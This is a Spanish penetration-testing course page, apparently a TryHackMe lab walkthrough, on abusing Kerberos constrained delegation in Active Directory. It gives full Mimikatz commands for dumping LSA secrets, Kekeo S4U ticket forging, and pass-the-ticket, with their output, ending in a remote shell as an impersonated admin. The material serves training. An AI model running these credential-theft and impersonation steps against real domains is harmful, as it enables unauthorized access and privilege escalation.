XUT_ / COURSES / PENETRATION TESTER

Exploiting Kerberos Delegation

Courses/Penetration Tester/red teaming/compromising active directory/exploiting active directory

Ahora vamos a ver la Kerberos Delegation. Cuando hablamos sobre delegación AD, es normalmente de lo que hablamos, no de la Permission Delegation.

Kerberos Delegation

El uso práctico de la delegación de Kerberos es habilitar una aplicación a acceder a los recursos hosteados en un servidor diferente. Un ejemplo de esto sería un servidor web que necesita acceder a la base de datos SQL hosteada en el servidor de base de datos para la aplicación web que hostea. Sin delegación, probablemente usaríamos una cuenta de servicio AD y le proveeríamos acceso a la base de datos. Cuando las peticiones se hacen en la aplicación web, la cuenta de servicio sería usada para autentificarla a la base de datos y recuperar información.

Sin embargo, podemos permitir a esta cuenta de servicio a ser delegada al servicio del servidor SQL. Una vez que el usuario inicia sesión en nuestra aplicación web, la cuenta de servicio pedirá acceso a la base de datos en nombre del usuario. Esto significa que sólo es capaz de acceder a información en la base de datos de la que tiene permisos relevantes sin tener que dar ningún privilegio o permiso de base de datos en la cuenta de servicio en sí misma.

Constrained vs Unconstrained

Hay dos tipos de delegación de Kerberos. En la implementación original de Kerberos Delegation, la delegación no restringida era usada, que es el último método seguro. En esencia, la delegación no restringida ofrece delegación sin límites. En el fondo, si un usuario con la flag "TRUSTED_FOR_DELEGATION" configurada se autentifica en un host con delegación no restringida configurada, un TGT para esa cuenta de usuario es generada y guardada en la memoria para poder ser usada a posteriori. Supón que un atacante puede comprometer un host que tiene delegación no restringida habilitada. En dicho caso, intentarían forzar a un usuario privilegiado a autentificarse en el host, lo que permitiría interceptar un TGT generado e suplantar el servicio privilegiado. Si quieres ver un ejemplo de la explotación de delegación no restringida pincha aquí.

Para combatir los fallos de seguridad de la delegación no restringida, Microsoft introdujo la delegación restringida en 2003. La delegación restringida restringe qué servicios pueden ser delegados a una cuenta, limitando la exposición si la cuenta es comprometida. Los siguientes son ejemplo de servicios que pueden ser configurados para la delegación:

  • HTTP: Usado para aplicaciones web para permitir la autentificación pasando credenciales AD.
  • CIFS: Common Internet File System es usado para la compartición de archivos que permite la delegación de usuarios a comparticiones.
  • LDAP: Usado para delegar al servicio LDAP para acciones como resetear la contraseña de un usuario.
  • HOST: Permite la delegación de una cuenta para todas las actividades del host.
  • MSSQL: Permite la delegación de las cuentas de usuario para que el servicio SQL pase la autentificación a las bases de datos.

Explotar una delegación restringida es normalmente más difícil que explotar una no restringida ya que la cuenta delegada no puede simplemente ser usada para todo. Sin embargo, puede seguir siendo usada para cierta explotación poderosa. Un ejemplo de esto sería si fuéramos capaces de comprometer una cuenta AD que tenga delegación restringida configurada. Sabiendo la contraseña o incluso el hash NTLM de esta cuenta, podemos generar un TGT para esta y luego usarlo para ejecutar una petición TGS para cualquier cuenta de usuario no sensible para acceder al servicio como dicho usuario. Imagina suplantar una cuenta con acceso a una base de datos sensible, por ejemplo.

Delegación Restringida Basada en Recursos

Hay tres tipos de delegación de Kerberos. Pero una de estas merece ser mencionada por separado. La Resource-Based Constrained Delegation (RBCD) ofreció restricciones adicionales de la delegación de Kerberos por seguridad. La RBCD cambia el modelo de delegación por completo. En lugar de especificar qué objetos pueden delegar qué servicios, el servicio ahora especifica qué objetos pueden delegarlo. Esto permite al dueño del servicio controlar quién puede acceder a él. En nuestro ejemplo de aplicación web, esto significa que en lugar de especificar que la cuenta de servicio de web puede delegar el servicio de base de datos para acceder a la base de datos, ahora podemos especificar en el servicio de base de datos que la cuenta de servicio web está autorizada a delegar el acceso.

Digamos que tenemos permiso para configurar RBCD para un servicio. Esto significa que tenemos la habilidad de configurar el atributo msDS-AllowedToActOnBehalfOfOtherIdentity para el objeto AD. Podemos poblar este atributo con los detalles de la cuenta AD a la que tenemos acceso. Para ganar acceso al servicio podemos generar un TGT para la cuenta que controlamos, la cual nos permitirá interactuar con ese servicio. Si queremos un ejemplo detallado de la explotación RBCD podemos pinchar aquí.

Explotación de Delegación Restringida

Explotaremos la delegación restringida en esta tarea. Lo primero que necesitamos hacer es enumerar las delegaciones disponibles. Usaremos nuestro nuevo usuario privilegiado para un par de comandos. Podemos usar el cmdlet Get-NetUser de PowerSploit para esta enumeración ejecutando el siguiente comando:

powershell
PS C:\>Import-Module C:\Tools\PowerView.ps1 
PS C:\>Get-NetUser -TrustedToAuth

Basado en el output de este comando, podemos ver que la cuenta svcIIS puede delegar los servicios HTTP y WSMAN en THMSERVER1. Pensarías que esto significa que sólo puede acceder a webs en nombre del usuario suplantado. Sin embargo, el Remoting de PowerShell usa los servicios HTTP y WSMAN también. La opción ideal sería suplantar a un Tier 1 Admin ya que este nos ofrece acceso administrativo a THMSERVER1.

Si fueras a realizar una correcta enumeración post-explotación en THMWRK1, encontrarías que hay un servicio en el host ejecutándose como usuario svcIIS. Como tenemos acceso administrativo ahora, podemos usar esto para dumpear los LSASecrets, parte del Windows Registry Hive, donde se guardan las credenciales para funcionalidades como Windows Services. Usaremos Mimikatz para dumpear los secrets:

mimikatz
C:\> C:\Tools\mimikatz_trunk\x64\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

mimikatz # lsadump::secrets
Domain : THMWRK1
SysKey : redacted

Local name : THMWRK1 ( S-1-5-21-3226461851-763325627-4205969673 )
Domain name : ZA ( S-1-5-21-3885271727-2693558621-2658995185 )
Domain FQDN : za.tryhackme.loc

Policy subsystem is : 1.18
LSA Key(s) : 1, default {cfcff4be-beab-7d93-cfa3-edb6a9a3bf27}
  [00] {cfcff4be-beab-7d93-cfa3-edb6a9a3bf27} 929bd1cdc726d31f5eea6fa5266a09521afd0be6309a08fd604c9a95c2af4463

Secret  : $MACHINE.ACC
cur/text: redacted
    NTLM:redacted
    SHA1:redacted
old/text: redacted
    NTLM:redacted
    SHA1:redacted

Secret  : DefaultPassword
cur/text: redacted
old/text: redacted

Secret  : _SC_thmwinauth / service 'thmwinauth' with username : svcIIS@za.tryhackme.loc
cur/text: redacted

mimikatz #

Vamos a ejecutar los comandos:

  • token::elevate: Para dumpear los secretos del registry hive, necesitamos suplantar al usuario SYSTEM.
  • lsadump::secrets: Mimikatz interactúa con el registry hive para obtener las credenciales en texto plano.

Ahora que tenemos acceso a la contraseña asociada con la cuenta svcIIS, podemos realizar un ataque de delegación de Kerberos. Usaremos una combinación de Kekeo y Mimikatz. Puedes usar otra pestaña para Mimikatz pero asegúrate de salir de Mimikatz después del comando token::elevate, si no, los tickets serán cargados en el contexto erróneo más adelante. Usaremos Kekeo para generar nuestros tickets y luego Mimikatz para cargar dichos tickets en memoria. Empezamos generando los tickets:

kekeo
PS C:\> C:\Tools\kekeo\x64\kekeo.exe

  ___ _    kekeo 2.1 (x64) built on Dec 14 2021 11:51:55
 /   ('>-  "A La Vie, A L'Amour"
 | K  |    /* * *
 \____/     Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
  L\_       https://blog.gentilkiwi.com/kekeo                (oe.eo)
                                             with 10 modules * * */

kekeo #

Primero necesitamos generar un TGT que pueda ser usado para generar tickets para los servicios HTTP y WSMAN:

kekeo
kekeo # tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:redacted
Realm        : za.tryhackme.loc (za)
User         : svcIIS (svcIIS)
CName        : svcIIS   [KRB_NT_PRINCIPAL (1)]
SName        : krbtgt/za.tryhackme.loc  [KRB_NT_SRV_INST (2)]
Need PAC     : Yes
Auth mode    : ENCRYPTION KEY 23 (rc4_hmac_nt      ): 43460d636f269c709b20049cee36ae7a
[kdc] name: THMDC.za.tryhackme.loc (auto)
[kdc] addr: 172.31.1.101 (auto)
  > Ticket in file 'TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi'

Los parámetros explicados:

  • user: Es el usuario que tiene permisos de delegación restringida.
  • domain: Es el dominio al que queremos atacar, ya que kekeo también se puede usar para abusar confianza cross-forest.
  • password: La contraseña asociada con la cuenta svcIIS.

Ahora que tenemos el TGT para la cuenta que puede realizar la delegación, podemos forjar las peticiones TGT para la cuenta que queremos suplantar. Necesitamos realizar esto tanto para HTTP como para WSMAN para permitirnos crear una PSSession en THMSERVER1:

kekeo
kekeo # tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones /service:http/THMSERVER1.za.tryhackme.loc
Ticket  : TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi
  [krb-cred]     S: krbtgt/za.tryhackme.loc @ ZA.TRYHACKME.LOC
  [krb-cred]     E: [00000012] aes256_hmac
  [enc-krb-cred] P: svcIIS @ ZA.TRYHACKME.LOC
  [enc-krb-cred] S: krbtgt/za.tryhackme.loc @ ZA.TRYHACKME.LOC
  [enc-krb-cred] T: [4/30/2022 1:29:00 PM ; 4/30/2022 11:29:00 PM] {R:5/7/2022 1:29:00 PM}
  [enc-krb-cred] F: [40e10000] name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
  [enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac      ): 548e500d4ee2f5c61710254ea9dd43e2ce0123026d329c97e512695e2f1777a7
  [s4u2self] t1_trevor.jones
[kdc] name: THMDC.za.tryhackme.loc (auto)
[kdc] addr: 172.31.1.101 (auto)
  > Ticket in file 'TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_svcIIS@ZA.TRYHACKME.LOC.kirbi'
Service(s):
  [s4u2proxy] http/THMSERVER1.za.tryhackme.loc
  > Ticket in file 'TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi'

Parámetros explicados:

  • tgt: Ofrecemos el TGT que hemos generado en el paso anterior.
  • user: El usuario al que queremos suplantar. Como ñas cuentas t2_ tienen permisos administrativos de acceso sobre las estaciones de trabajo, es una asunción segura que las cuentas t1_ tendrán acceso administrativo sobre los servidores, por lo que elegimos suplantar a una cuenta t1_.
  • service: Los servicios que queremos suplantar durante la delegación. Primero generamos un TGS para HTTP y luego lo reejecutamos para el servicio WSMAN.

Ejecuta el comando de nuevo, esta vez para WSMAN. Ahora que tenemos dos tickets TGS podemos usar Mimikatz para importarlos:

mimikatz
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi

* File: 'TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi': OK

mimikatz # kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi

* File: 'TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi': OK

Puedes salir de Mimikatz y ejecutar klist si quieres verificar que los tickets fueron importados. Ahora que los tickets son importados, podemos crear finalmente nuestra sesión PSSession en THMSERVER1:

powershell
mimikatz # exit
Bye!
PS C:> New-PSSession -ComputerName thmserver1.za.tryhackme.loc

 Id Name            ComputerName    ComputerType    State         ConfigurationName     Availability
 -- ----            ------------    ------------    -----         -----------------     ------------
  1 WinRM1          thmserver1.z... RemoteMachine   Opened        Microsoft.PowerShell     Available

PS C:\> Enter-PSSession -ComputerName thmserver1.za.tryhackme.loc
[thmserver1.za.tryhackme.loc]: PS C:\Users\t1_trevor.jones\Documents> whoami
za\t1_trevor.jones